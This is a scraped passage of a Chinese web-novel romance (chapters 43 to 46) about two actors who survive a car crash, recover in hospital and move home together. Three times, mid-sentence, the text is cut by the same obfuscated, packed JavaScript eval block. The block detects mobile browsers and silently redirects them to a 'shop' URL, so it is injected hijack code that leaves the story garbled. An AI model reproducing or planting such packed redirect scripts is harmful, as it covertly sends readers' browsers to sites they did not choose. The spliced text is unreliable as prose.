周围有人好奇地往这边看，童颜赶紧接过来，签上自己的名字，又递给江述。 女生神色很激动，能看出来在克制，欲言又止的。 江述签完后还给她，女生突然快速说：“我很喜欢你们，其实还有很多人支持你们，但我们不擅长在网上吵架，所以……但是你们要加油，千万不要被打倒哦！” 童颜心里一暖，说了句：“谢谢你。” 在更多人围过来前，江述牵着童颜快步离开了。 回到车里，摘掉口罩和帽子，童颜满面喜色，伸手搂住了江述。 “我好开心啊，江述！” 她没办法形容，听到那句话的当下是什么心情。 就好像他们对面站了很多很多人，数不清的指责谩骂劈头盖脸丢过来，她自知不敌，决定以无视来表明不认输。 这时候，突然有人跑来告诉她，你们不是孤立无援的。 烛火虽然幽微，却足以驱退黑夜，照亮她心里的一个小角落，令她生出莫大的勇气。 江述应和道：“嗯，有人支持我们。” 童颜忽然退开，眯着眼说：“你说她是你的粉丝，还是我的？我猜是你的，刚刚她一直在看你。” “粉丝的醋也吃？”江述笑着打趣。 童颜摇了摇头，高深莫测的神色：“我是在想，应该让你摘下口罩，跟她合个影的，这样她会更开心。” “……” 是他想多了。 江述揉了揉她的头，问：“回家吃饭？” “好的江述老师。” 江述启动车子，往童颜家的方向开，途经一个大路口，江述向右转弯，突然，右侧方毫无预兆地冲出一辆白色轿车，疾速撞上了他们的车！ 童颜意识到时，车子已经在向左侧翻滚。 天旋地转里，她惊声尖叫。 巨大的冲击力下，她感觉五脏六腑被撞飞，一口气没提上来，直接失去了意识。 不知昏迷了多久，再醒来时，消防员正在把她从副驾往外拖。 “江述……” 她喊了一声，嗓音干哑。 江述眼睛闭着，蜷缩在变形的驾驶室里，额头上有好几条血道子。 “江述！！！” 她开始拼命挣扎，试图摆脱消防员，去把江述救出来。 可她太虚弱了，没有挣开，耳边七嘴八舌，似乎有人在说：“你先出来，我们才能救他。” 童颜听见了，立刻顺着搀扶的力道爬出车厢。 她全身到处都疼，抖得筛糠一般，坐在路边，盯着消防员用大钳子把车门撑开，再减掉一部分，把江述救了出来。 医生正在给她诊断，问了什么，她一个字也没听到。 大脑一片空白，连动手指的力气都没有，头发被雨水浇湿了，发丝凌乱地糊在脸上，她仰起头，恳切地望着医生，仿佛望着世间唯一的神明，问：“他会死吗？” 43. 不疼 凌晨一点，市第一医院六层外科手术室外，李正和林慧心忙着应付各路打探。 “喂，王总，是，出了点事故，正在做手术，行，等他醒过来我跟您说。” “李老师，探望？先不麻烦您，现在医院这边也有点乱，有情况告诉您。” “晓君姐，对在医院……童颜伤得不算太重，我知道，回头咱们再说。” …… 两家工作室已经发出声明，粉丝和路人都在观望，媒体的微信回不过来，电话也快接爆了。 无奈之下，林慧心直接关机了。 童颜穿着病号服，额头和左臂上缠着绷带，一张脸苍白如纸，呆呆地坐在等候区的椅子上。 赵浔阳蹲在她身前，握着她的手说：“颜颜，喝点粥吧，有力气了才恢复得快。” 童颜摇了摇头，脑中一阵眩晕，于是索性闭上了眼。 乔乐和林慧心对视一眼，小声说：“心姐，颜姐在这坐了快仨小时了，不吃不喝不说话，身上还有伤呢，怎么熬得住呢……” 林慧心叹了口气，走过去坐在童颜身边的椅子上，揽着她的肩说：“童童，姐知道你担心江述，但你自己伤得也不轻，要是不想吃东西，就回病房躺着，等手术结束，姐去告诉你，行吗？” 童颜静了片刻，终于开口了。 “不要跟我说话，我想一个人待着。” 声音干涸嘶哑，微微颤抖。 林慧心无奈，看着赵浔阳，摇了摇头。 赵浔阳站起身，和林慧心去了一旁的楼梯间。 “赵医生，您看童颜这伤，得多久才能好？我们照顾时，有什么要注意的？” “小臂骨折不算很严重，先打石膏固定治疗，至少得养八周。中度脑震荡会恶心、呕吐，多久恢复不一定，可能两周，也可能两三个月。这段时间她需要卧床静养，劳烦你们工作上的事多担待，医院这边有我，我妈回去收拾衣服了，晚点也会过来。” 林慧心点了点头：“好，记下了。那江述这个伤情，照您看……” 正说着，李正也走进了楼梯间。 赵浔阳说：“江述这边，目前已知的是左肘关节脱位、左腿多处骨折，右侧3-5肋骨骨折，双肺肺挫伤，脾脏破裂。其他的，得看手术情况，现在还不好说。” 也就是说，能不能下手术台都不一定。 李正烦躁地在楼梯间踱步，看了眼林慧心，又看了眼赵浔阳，欲言又止。 赵浔阳见状道：“我先回趟医办室，一会儿再过来。”说完就离开了。 李正黑着脸，冲林慧心不停点头。 “你想说什么就说。”林慧心皱眉。 “我想说什么？”李正反问一句，压制不住的火气，“我家江述自从跟童颜在一起，霉运就没断过，我能说什么？！真他妈的邪了门了，这俩人是天生犯克？要我说，赶紧断了吧，你好我好大家都好！” 林慧心一听，火气也上来了。 “这叫什么话？你意思是江述霉运全我家童颜害的呗！你要不要问问是谁先追的谁啊？我还替童颜委屈呢，自从官宣以来，她挨了多少骂，她抱怨一句了吗？今天这场车祸，纯纯的意外，这也要让童颜背锅？你们男的就不能承担一点责任，有事都是别人的呗，真是搞笑！但你有句话说对了，赶紧断了吧，你好我好大家都好！” 两人一开始还顾忌着外边，后来越吵越上头，声音也越飚越高。 楼梯间的门突然被敲响，乔乐推门探进头，说：“心姐、正哥，小点声吧。”说着朝童颜的方向偏了偏头，“外边听得真真儿的。” * 凌晨五点，主刀医生秦淼从手术室里出来了。 李正忙跑过去，林慧心和乔乐也围了上去。 童颜在手术室外坚持到四点多，体力不支昏了过去，赵浔阳抱她回了病房，这会儿姨妈在守着她。 “谁是家属？”秦淼问。 李正忙举手：“我是。”手术同意书是他签的字。 “手术很顺利。颅内轻微出血，量不大，暂时不用处置，过几天再复查个CT，一会儿转到ICU观察。” 李正一颗心放到了肚子里。 林慧心问：“秦医生，江述能醒过来吧？不会植物……” 李正狠狠剜了她一眼：“你盼点好行吗？”话虽这么说，他也被勾起了不安，眼巴巴盯着秦淼。 秦淼说：“目前没这个风险，等观察期过了再看。” “那骨折什么的，会有什么后遗症吗，比如瘸腿什么的……”林慧心又问。 李正龇牙咧嘴，恨不得吃了林慧心，然后又眼巴巴地看向秦淼。 “受这么重的伤，谁也不敢保证没有任何后遗症，走动的话，如果骨头长得好，应该不至于有什么大问题。病人年轻，好好休养，恢复情况还是比较乐观的。” 林慧心终于放了心，伸手和秦淼握了下：“多谢秦医生。” “客气了。”秦淼点了个头，离开了。 李正莫名不爽，感觉林慧心才是江述的经纪人。但江述没事，他总算松了一大口气，看林慧心也就没那么生气了。 “林总也辛苦了，回去休息吧。”难得李正说了句好听话。 林慧心却不大买账，轻飘飘地瞥了他一眼，转头就带乔乐走了，根本没搭他茬。 回到单人病房，童颜已经拔掉了输液针，这会儿还睡着，施秀芳靠坐在床边的椅子上，头一低一低地，正在打瞌睡。 林慧心走到床边，惊醒了施秀芳。 两人还没来得及打招呼，童颜突然喊了声：“江述！”猛地从床上坐了起来。 天旋地转，她伸手捂住了额头，神情很痛苦。 “颜颜！”施秀芳和林慧心忙扶住她，“怎么了，头疼是不是？我去叫医生。” “不用。”童颜扯住姨妈的袖子，“江述怎么样？” 她说着就要下床，被林慧心使劲儿按住了。 “江述没事。手术很顺利。现在麻药劲儿还在，他没醒，转到ICU去了，可能要观察两天。我仔细问过医生了，不会瘸、不会植物人，好好休养能恢复的，你放心。” 童颜眼中泛起泪花：“真的吗？” “真的。ICU不能随意进，你这会儿见不到他。先好好休息，养好自己的身体，江述还需要你照顾呢。” 童颜点了点头：“对，我要照顾他的。”说着看向施秀芳，“姨妈，我要吃东西，我要吃最补的东西。” “好，好，想吃东西好，姨妈这就去给你买。”施秀芳眼眶湿着，对一旁的林慧心和乔乐说，“小林和乐乐，你们也熬了一夜了，快回去休息吧，我让浔阳来守着颜颜。” 林慧心也没再推辞，嘱咐了童颜两句，就和乔乐一起离开了。 童颜其实吃不下东西，胃里不停地翻腾，吃几口就想吐，吐了歇一歇，过了劲儿接着吃。 施秀芳看得十分心疼，抚着她的背说：“颜颜，实在吃不下，就不吃了，别勉强自己。” “姨妈，我想赶紧好起来，我还要照顾江述的。你不知道，他身上有很多旧伤，这次又……”她没有继续说，仰头平静了一会儿，继续吃饭。 她这会儿记起来了，车祸发生的瞬间，江述一条手臂横到她胸前，将她死死按在了座位上。 也记起来，车辆翻滚的时候，对面那辆白色轿车里，闪现了一张熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718423|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悉的脸。 赵仕沅。 那个本该在待在监狱里的□□犯。 * 第二天，一大早先来探病的是交警。 肇事车辆逃了，经过一夜追踪，最后在城郊的废旧停车场找到了，司机不知所踪。 交警来询问童颜车祸的细节。 童颜很肯定地说：“我确信没看错，那辆车里坐的人是赵仕沅，这不是普通的车祸，是谋杀。” 两个交警对视一眼，见童颜状态很差，也就不再追问了。 “童女士，我们把你说的记录下来了，后续会有110的同事一起跟进。你先休息吧，今天就不打扰了。” 交警离开后不久，童颜刚躺下，潘秋生又来了。 童颜很诧异：“潘总？” 潘秋生点了点头，让秘书把果篮放在桌上，说：“我来看看你和江述。” “江述允许探视了吗？” “还没有，我在ICU外面隔着窗玻璃看了看，听说你们治疗都顺利，我就放心了。” 童颜其实很懵。 潘秋生穿得西装革履，慈眉善目，不像圈内大佬来探望同事，倒像是长辈对小辈那样的亲和。 可她和潘秋生很少有机会见到，入行以来，说过的话大概不超过十句，也从没听说江述和他有什么私交啊…… 潘秋生见童颜神色困惑，便道：“看来江述没跟你提过，那我就不多嘴了。好好休息，改天我再过来看你们。” 江述应该跟她提什么，不是等等……还要过来？！ 童颜受宠若惊的。 “多谢潘总，让您费心了。” 潘秋生笑了笑，离开了病房。 过了一会儿，又来了一位圈里同事，这时候能主动来探望的，都是私交不错，人品也过硬的朋友，童颜只得打起精神接待。 林慧心瞧她嘴都白了，终于忍不住发了条朋友圈，昭告同行，童颜伤情已稳定，身体还虚弱，感谢大家关心，等童颜病好，再亲自致谢垂问的朋友。 言外之意暂时不需要探视。 接下来的两天，童颜基本卧床，偶尔去江述在的ICU隔着玻璃瞧一眼。 ICU每天允许探视一次，但童颜的胳膊打了石膏，不便穿隔离服，所以进不去。听李正说江述已经清醒了，她多少放了心。 第三天，江述转进了普通病房。 童颜去看他的时候，他正在睡觉。这几天都是睡多醒少的，一来身体虚弱撑不了太久，二来也是止疼药的作用。 童颜没有打扰，就在床边的沙发上坐着，等他醒来。 等着等着睡着了，迷迷糊糊间听见动静，她惊醒过来，一睁眼，就看见江述正望着她。 童颜慢慢走过去，听他闷闷地咳嗽了一声，顿时有点慌。 “你怎么样？是不是很难受，我去叫医生吗？” 江述手指捏住了她的衣袖，张了张嘴，却没发出声音。 “你想说什么？”她把耳朵靠近他嘴边。 听见他问：“疼不疼？” 童颜一下子就瘪了嘴，眼眶里含了两包泪，摇摇欲坠地。 她仰头抽了抽鼻子，屈膝蹲在床头，挨着他的手臂，侧趴下来，说：“不疼。” “让我……看看你。”他又说。 童颜只好抬起头，让他看清楚她的脸。 她想忍住的，不想让他一醒来就为她担心。 可是眼泪根本止不住。 她只能尽量不发出声音，那表情想必是不好看的。 他牵了牵嘴角，露出一个苍白的笑，稍稍抬起受伤比较轻的右手臂，手指给她擦着泪，说：“丑丫头。想哭就哭吧。” 44. 墓碑 童颜当即抱住他的手臂，失声崩溃大哭。 “我以为，我把你害死了……江述，我好怕你醒不过来，是不是浑身都疼，都是我害的，都是我害的……” 江述缓缓抚着她的额角，等她发泄完，才说：“亲一亲，就不疼了。” 童颜抽泣着，凑到他嘴边亲了一下，眼泪糊到他脸上，又拿衣袖轻轻抹掉。 “坐到床边。”他说。 童颜依言照做，见床头柜上放着水杯，就给他倒了杯温水，将吸管递到嘴边。 江述就着她的手，喝了几口。 童颜问他：“饿不饿？” “不饿。”他握着她手，视线停驻在她脸上，“让我看看你，感觉，好久没见到了。瘦了，是不是没好好吃饭？” 童颜又想哭了。 “我有吃饭的，可是头很晕，还有点恶心，吃了会吐。但是，今天好一点了。你呢？是不是很疼？” 江述的左腿打着石膏，左臂缠着绷带，右臂也是青一块紫一块的伤，上腹的刀口被厚厚的纱布裹住了，头上也绑着纱布。 全身上下，没有一块好地方。和他比起来，她真的算是轻微伤了。 可他却说：“还好。有止疼药，没感觉。” 正说着话，李正进来了，脸色不太好看，童颜有点怕见他。 李正走到床边，对江述说：“交警说要来做个笔录，你这会儿可以吗？” 江述说：“可以。” “那我就通知他们过来。”李正说着看向童颜，“你也是伤员，不是脑震荡吗，该多卧床休息，江述这里有我和晨星照应着，不用担心。” 童颜看了看江述，小声说：“那我晚点再来。”就起身离开了。 房门关上，江述看着李正说：“别那么对她。” “那我该怎么对她？劝她好好休息还不对了。” “你在迁怒。”江述皱眉，“车祸不是她造成的。她已经很自责了，你这个态度，是要逼死她吗？” 他刚醒，气力不济，才说了几句话就开始喘咳。 李正没法跟病人计较，只好憋气道：“行，不说你的宝贝疙瘩，行了吧。我去给交警打电话。” * 住院第五天开始，童颜除了白天输液的时候，基本不在自己病房待着了。 她让赵浔阳把江述病房里的沙发挪了挪位置，和病床紧挨着，并排放置，晚上她就睡在沙发上。 谁劝也没用，她就要在江述身边待着。 夜里有时会被噩梦惊醒，转头一看，江述正安静地睡着，心才会踏实。 他的病床上还有一点空位，童颜悄悄爬上去，蜷缩在他身边。伤在左臂，她只能侧躺着，身前紧贴床围挡板，背靠在江述手臂旁。 江述睡觉浅，她爬过来的时候，就醒了。 见她像只小仓鼠一样，窸窸窣窣，他索性配合着装睡，身体却慢慢往左侧挪，尽量给她多留点空间。 无声的黑暗里，童颜的呼吸匀停，江述知道她没睡着，便问：“在想什么？” 她一惊，转头：“我吵醒你了吗？” “没有。白天睡多了，晚上觉少。” 他说着抬起右臂，穿过她颈下，将她揽抱在怀里，鼻腔溢出一声满足的叹息。 童颜靠在他怀里，却不敢实压他手臂，小声说：“我刚刚在想，生死大事。”顿了顿，续道，“如果你这次真出事了，我就陪你去。” “傻话。”江述轻斥一句。 童颜抿了抿唇：“真的。我不能接受，没有江述的世界。”她说着眼泛泪花。 江述静了几秒，偏头亲了亲她发心。 “所以，你要健健康康地，一直陪着我，等我们老了，你还要走在我后边。” “好。” “我的后事要办的热闹点，可以开个party，邀请几个我的粉丝，还有我喜欢的同事，心姐和乐乐最好能在，我会提前穿上漂亮的衣服，给你们录视频，把我这辈子还没说完的话，都讲出来。” “好。” “墓碑上刻什么呢……我想想啊。”童颜越说越起兴，“这里住着一个可爱的仙女，失去她，是这个世界的一大损失。就这么写，你觉得好不好？” 身后片刻无声，童颜等不及，扭头想看他，却被他捂住了眼。 “再加一句吧。也是江述最难过的事。”他说。 这里住着一个可爱的仙女，失去她，是这世界的一大损失，也是江述最难过的事。 童颜许久没说话，等身后的人平静下来，又问：“你呢，你的墓碑上要写什么？” “生卒年，妻子女。”江述说。 童颜撇了撇嘴，吐槽：“好无趣哦。你也要加一句……不必为他的离开感到悲伤，因为他会上天堂，遇见一个可爱的仙女。” 江述笑了一下：“好，就这样写。” 见她没话了，江述问：“睡吗？” “我不在这睡，会压到你伤口，再躺一会儿就去沙发上。”童颜说着想起一事，又道，“等你伤好了，我跟你说一件事。” “好。” * 住院第八天起，江述那边探视的人络绎不绝，童颜懒得跟人寒暄，每当这时就躲到外边，等人走了，她再回来。 期间潘昀来看江述。 一进门，潘昀就摆出一副领导慰问下属的姿态，问好点了吗，江述说好多了，再问要住多久，江述说不知道。 两人就没话了。 潘昀双手插进裤兜里，在病房里来回转了两圈，终于回到了正题上。 “你是老头的私生子，对吧？” 潘昀自从知道了这件事，又循着潘秋生的踪迹，发现了二环那套别墅，找人一查，业主是个女的，不用问，老头在外边养的情人。 可是这么多年，怎么能瞒得滴水不漏呢？按照江述的年龄，论起来他还得叫哥，也就是说，老头在结婚之前就有个非婚生子！ 这消息太过重磅，震得他一波三折的，想去问他妈，又怕把这事捅出来，家里要乱套。 潘昀自己憋了好几天，情绪终于稳定了，这才来探望江述，打算听听这位私生子，是个什么想法。 是要上演争家产的戏码，还是有什么惊天的大阴谋，他好提前做准备。 进门一看，江述身上左一层右一层，包得跟个木乃伊似的，他竟有点不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723862|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落忍，气势也落了下去。 话问出口，潘昀盯着江述，却见他表情未变，说了句：“你今天来的目的是什么？” 行啊，谈判高手，不掉入对手的陷阱，直接另起一头。 潘昀突然来了兴致，坐到沙发上，翘起二郎腿说：“探病啊。顺便看看，有没有需要帮忙的，毕竟说起来，咱们也算一家子。” 江述神色仍然波澜不惊：“我对你们一家子不感兴趣，也无意掺和进去。没什么事的话，小潘总可以走了。” 潘昀一拳挥出去，被人不着痕迹地卸了劲儿，不由恼火。 对着一个貌似刀枪不入的人，一时之间，竟不知该怎么对付。 忽然脑中闪过一念，潘昀眼睛亮了，脸却黑了。 他站起身，说：“既然如此，你养着吧，我去看看童颜。” 往门口走了几步，擎等着身后人吃醋，谁知对方根本不理会，潘昀不由恨恨转头：“你是不是以为，我对你造不成威胁？” 江述说：“确实。” 潘昀更恨了，咬牙道：“我虽不能把童颜从赵家的事里拉出来，但能保她有戏拍，你能吗？” 瞧着江述沉默，潘昀终于感觉扳回一局，得意地说：“她能跟魏子铭分，就能跟你分，等着看吧，看童颜最后是谁的。” 潘昀趾高气扬地拉开门，童颜踉跄几步撞了进来。 她过来有一会儿了，听晨星说潘昀在里面，不想跟这位二世祖碰面，打算去别处躲一会儿，忽然想起潘秋生那天说的话，还有潘昀……他怎么也来探望江述？ 童颜一时好奇，就把病房门悄悄推开一条缝，耳朵对着门缝偷听。 谁知毫无防备地听见个大瓜，震惊得她直接脑子宕机，进了门都没回过神来。 “小心！” 潘昀眼疾手快地扶住了她，让童颜免了摔跤。 江述问：“胳膊撞到没有？” 童颜见他撑着坐了起来，担心他扯到伤口，急忙说：“我没事，你先躺下。” 她边说边往病床边走，却被潘昀一把子扯住了。 “欸？这还一活的呢，你看见了吗？” 童颜不耐烦地挣开他手：“是朋友的，我当你探望过了，有劳多谢。其他的，你趁早打住，我不喜欢你，别浪费时间了。” 说着拿右手臂抵住他的背，用力把他推出门：“你快走快走，别在这给我和江述添堵……” “……” 病房门砰的一声关上了。 潘昀忍不住攥拳捶门，一时间气得头发都要竖起来了。 岂有此理！ 病房里，童颜慢吞吞走到床边坐下，一脸吃瓜的表情看向江述。 “真的啊？潘总是你……爸爸？” “生物学上的。”江述说着，反复检查她胳膊，“刚才撞到没有？” “没有没有。” 童颜现在顾不上胳膊，她更想吃瓜。 江述盯着她三分好奇三分期待四分你快点说的表情，无奈轻叹一声，说：“上来。” 童颜迅速脱鞋上床，躺在江述怀里，眼巴巴地盯着他，神色仿佛在说，我准备好了，可以开始讲故事了。 45. 攻心 正如潘秋生所说，当年，江思菱怀孕，二人在美国住了一段时间，结果没等到生产，潘秋生就回国了。 走前说好的，等他摆平家里的事，就来接她回去。 结果，一等再等，等到孩子出生半年，签证都快到期了，潘秋生仍然没出现，电话里言辞闪烁，江思菱察觉不对，只身回国质问潘秋生。 两人大吵一架，潘秋生以不得已为由，劝说江思菱先回美国，一年之内，他会和现在的妻子离婚。 江思菱勉强接受，加上孩子还在美国，就又回去了。 然而，她再次失望了。 潘秋生从一开始的安抚，到后来敷衍搪塞，越来越不耐烦，最后干脆连电话也不常接了。 江思菱痛斥潘秋生失信，一怒之下，找了一个旧金山当地人结婚。 这场婚姻，本就是意气之争，婚后生活自然不会幸福。在频繁琐碎的争吵里过了两年，江思菱离婚了。 她开始整日酗酒，喝醉了就给潘秋生打电话，还沾上了大麻，确诊了双相情感障碍，情绪时高时低……过得人不人鬼不鬼。 之后她又结了两次婚，每次都是惨淡收场。 她将自己不幸的人生归罪于潘秋生，并多次威胁他给钱。 四十三岁那年，江思菱患上了肝癌，查出来已是中晚期，没过一年，就去世了。 这就是江思菱和潘秋生的故事。 童颜没想到，会是这么惨烈的故事。早知道，她就不听了。 一个悲惨的女人固然可怜，身为她的孩子，江述又是怎么过来的，童颜不想问了。 “江述。”她伸手抱住了他，靠在他颈边说，“我会对你很好很好很好的。” 他拍了拍她，牵唇笑了一下：“不用为我难过，现在不是很好吗？你陪着我，就足够了。” “等疫情缓和点，我们去看你妈妈吧。” “好。” * 养伤的日子有点无聊，但能跟江述天天黏在一起，童颜觉得也挺好的。 她的手臂恢复得不错，头也不经常发晕了，江述后来复查了CT，颅内没有再出血，其他部位的伤也在逐渐变好。 住院期间，警察又来做过一次笔录，童颜询问事故进展，得知赵仕沅已经被抓了，接下来是检察院的事，警方不方便透露太多。 两位警官离开病房时，那位女警员趁同事接电话的功夫，小声跟童颜说：“我看过倪笑的卷宗，童颜，你真是好样的！我相信老天是公平的，好人一定会有好报，你要加油哦！” “谢谢。”童颜莞尔一笑。 女警员看上去刚工作不久，一脸的青涩和呆萌，又说：“我可以把你写进小说里吗？” 童颜一愣，继而点头：“好呀，但我有一个要求。” “你说。” “把我写成绝世大美人。” 女警员捂嘴直乐：“必须的！” 住院半个月，童颜的伤已没有大碍，平时只要活动量控制得当，就不会头晕恶心，手臂虽然还打着石膏，却不怎么疼了。 赵浔阳给她办了出院，本来该在家养着，但童颜还是天天腻在江述的病房，白天照顾，晚上陪床。 她在这，能顶半个护工，李正乐得清闲，对童颜也有了好脸色。 那天，林慧心来医院，在走廊遇到李正，白了他一眼，脚步停都没停。 李正出声叫住了她。 “我说林总，你不至于吧。我承认，那天晚上脾气太冲，冒犯您了，给您道歉，赔罪，行不行？两个艺人谈着恋爱呢，咱们的关系没必要搞这么僵吧，都是苦命的打工狗、背锅侠，以后还得合作呢不是。” 林慧心瞧他态度还算诚恳，也就顺着台阶走了下来。 “不敢当李总这句赔罪，我还想求您好好引导粉丝呢，别天天盯着童颜撕，车祸两人一起出的，挨骂童颜一人挨的，您可千万别借着这事虐粉，我就谢天谢地了。” 几句话戳破了李正的小心思，他近来确实没少让人替江述卖惨，恋情官宣引发的海啸虽然威力还在，但江述的粉圈内部形势一片大好。 被林慧心挤兑这么一句，李正也不冤，哈哈笑着说：“哪儿能啊，您把我想成什么人了。我听说童颜这边资源，开始有起色了？” 李正换了个话题。 他听司法系统的一个朋友说，赵家最近麻烦缠身。 赵仕沅因为倪笑的案子，被判了十三年，结果入狱不足半年，就报病申请了保外就医。 本来悄悄在外面住着，凭赵家的势力，轻易不会有人知道。谁知赵仕沅偏偏不安分，跑出去开车撞童颜，结果被逮了回去。 这一来，不仅赵仕沅罪加一等，连帮他钻空子办理保外就医的一干人等，也被查了。 官场混久了，哪个官差手上没点过错，即便没有错，还有对手盯着呢。 司法系统闹得热火朝天时，赵家的兴达证券旗下两家子公司也被立案调查了，理由是涉嫌恶意做空。 赵仕沅他爸，也就是兴达证券的老板赵兴达，心脏病发连夜住进了医院。 赵家风雨如晦，跟他们交好的人忙不迭撇清，如此一来，童颜的资源有了反弹回温的苗头，林慧心为此心情大好，今天来医院，就是跟童颜说这个消息的。 “借李总吉言。”林慧心笑着说了一句。 李正点了点头，又道：“这事呢，我看也别过分乐观。兴达证券多少年了，给ZF创造了多少GDP，如今这点风波，推几个替罪羊，罚两家子公司，伤不到根儿上。不过能让他们乱一阵儿也好。”他说着凑近林慧心，讳莫如深的样子，“说不定赵兴达明儿就死了呢。” 一番话虽不好听，却很是中肯，林慧心不由凛了神色，沉默几秒，说：“再借李总吉言。” 说不定赵兴达明儿就死了呢。 * 一个月后，时至初冬，气温下降，道路两旁的银杏满树金黄，江述终于出院了。 身上的伤好得七七八八，剩下两分就得靠回家养着了。腿上的石膏还没拆，医生说至少得再绑一个月。 童颜找人在家门口装了便道，方便轮椅通行。 江述拄着拐从车上下来，李正和晨星在一旁护着，童颜推着轮椅，笑眯眯说：“请坐。” “不坐。这几步路，不用轮椅。” 童颜不依：“快点快点，试试新装的便道，我还没推过人呢。” 江述只好坐到了轮椅上，由她推着进了院子。 李正一看没自己的事，也不在这当电灯泡了，交代江述好好养着，工作的事不着急，就带晨星离开了。 原本两人是住在二楼的，现在江述的腿不方便，童颜就在楼下收拾出一间屋子。 刚把江述安置在床上，有人按门铃，她打开门一看，是闪送员。 “童小姐，您的花。” “谢谢。”童颜接过花，拿起插在上面的卡片看了眼，是魏子铭送的。 她把花随手放在餐桌上，就去厨房做饭。过了一会儿，江述拄着拐进来了。 “你怎么起来了？快回去躺着呀。”童颜边念叨，边把切好的青椒收进盘子里。 江述 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728237|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把拐靠在墙上，说：“我来吧。” 童颜见他单腿站着，气得不行：“才刚好一点，你就飘了是吧！” 边说边把拐塞回他手里，扶着他走出来，径直到沙发边，说：“要是不想一个人待着，就躺在沙发上，看我做饭吧。” “童颜，我没那么脆，不用这么小心翼翼。” 她不由分说把人按到沙发上：“你赶紧的，别捣乱。” 好吧，他成了捣乱的人。 江述无奈摇了摇头，说：“你随便做点，别上大招儿，往油锅里放菜不要从高处往下倒，小心油……” “哎呀知道了，江婆婆，啰嗦！”她兴兴头头地回了厨房。 江述靠躺在沙发上，随手翻一本杂志。 厨房里动静不断，一会儿“嗷”一嗓子，一会儿“哐当”一声，他的心也跟着忽上忽下，好在没什么大事，不多时，菜就上桌了。 两荤一素，菜色看上去还不错。 童颜盛了两碗米饭，给江述一碗。然后抱起桌上的花，往电视柜那边走。 “谁送的花？”江述问。 童颜说：“魏子铭。” 江述没说什么，童颜把花放到电视旁的矮柜上，回来吃饭。 “我跟你说，我的手艺和你比不了，菜做的勉强，你将就吃，好在营养很丰富，我都是照着专业食谱做的，可以给你做一个月不重样。” 江述往她碗里放了块牛肉，说：“给你一天机会，过过瘾就得了，以后还是我来。” “那不行，你就安心当个病号，让我照顾照顾嘛！女朋友的温暖、体贴，是你康复的良药，要用心感受。” 江述笑着看了她一眼，索性不跟她争了。 到了晚上，童颜洗完澡，又去帮江述擦身。 他现在不能洗澡，在医院时，擦身的活儿都是护工干。 如今没有护工了，童颜颇有点磨刀霍霍的架势，拿着湿毛巾，站在江述身前举着。 “你快点，脱裤子！” 江述左腿打着石膏，下身穿的是骨折专用护理裤，裤腿一侧有拉链，拉开就脱掉了。 他抓着她手腕，说：“下身我自己擦。” “不行。你动来动去，扭到伤口怎么办？” 江述坚持：“我会小心。” 两人对峙片刻，童颜见他不肯让步，知道来硬的没用，便伸手搂住了他。 “江述，我是不是你最亲的人？” “当然。”他毫不犹豫。 “那你为什么，对我见外呢？你受了伤，我照顾你，这不是理所应当的吗？可你想撇开我。在你心里，我就是个花瓶吗？只能跟你同甘，不必和你共苦，是吗？” 江述不说话。 在他心里，童颜只需每天笑盈盈地陪着他，和他说话，就够了，这些粗活不是她该干的。他希望童颜能给他留几分体面，让他自己去面对脆弱和不便。 “无论是完美的你，还是身体不便的你，都是我爱的你。”她仰头，泪盈盈地看着他，“你不觉得，你是在剥夺一部分我爱你的权利吗？” 江述沉默片刻，终于叹了口气，抚着她眼角说：“从哪里学的攻心术。” 童颜笑了起来：“我赢了吗？” “分明是我赢了。”他捧起她的脸，轻柔地吻了上去。 浴室里闹过一通，等两人收拾完躺在床上，已经十点半了。 童颜背靠江述，躺在他臂弯里，闭着眼躺了会儿，两人都没什么睡意。 颈后渐有热意传来，情动的喘息在她耳边，童颜忽咬了咬唇。 46. [锁] [此章节已锁] 两人确定关系以来，在床上，江述大多时候是克制的。 童颜隐隐感觉，他不知出于什么心理，习惯性地压抑自己，哪怕身体已经起了反应，也总是按兵不动，好像非得她一声令下，才敢一往无前。 因此，他们之间，一向是童颜挑逗他的时候居多。 然而这一次，江述竟然罕见地主动求爱，她羞涩的同时，也有一丝惊奇。 童颜不想这么快满足他，任由他胡乱地啄吻，还十分冷静地问：“今天是怎么了？” 他突然停住。 童颜翻身平躺，偏头与他对视。 他看上去很渴望，但偏偏拼命压抑着，眼神像要把她吸进深渊里，童颜被他盯得几乎想落荒而逃。 “为什么停下来？”她小声问。 江述愣了下，童颜难得在他脸上看见类似呆的表情，抿了抿唇，催他：“说呀。” “我以为，你不想。”他说。 “我不想，你就不要了吗？” 他似乎在认真思考这个问题，静了几秒，点头。 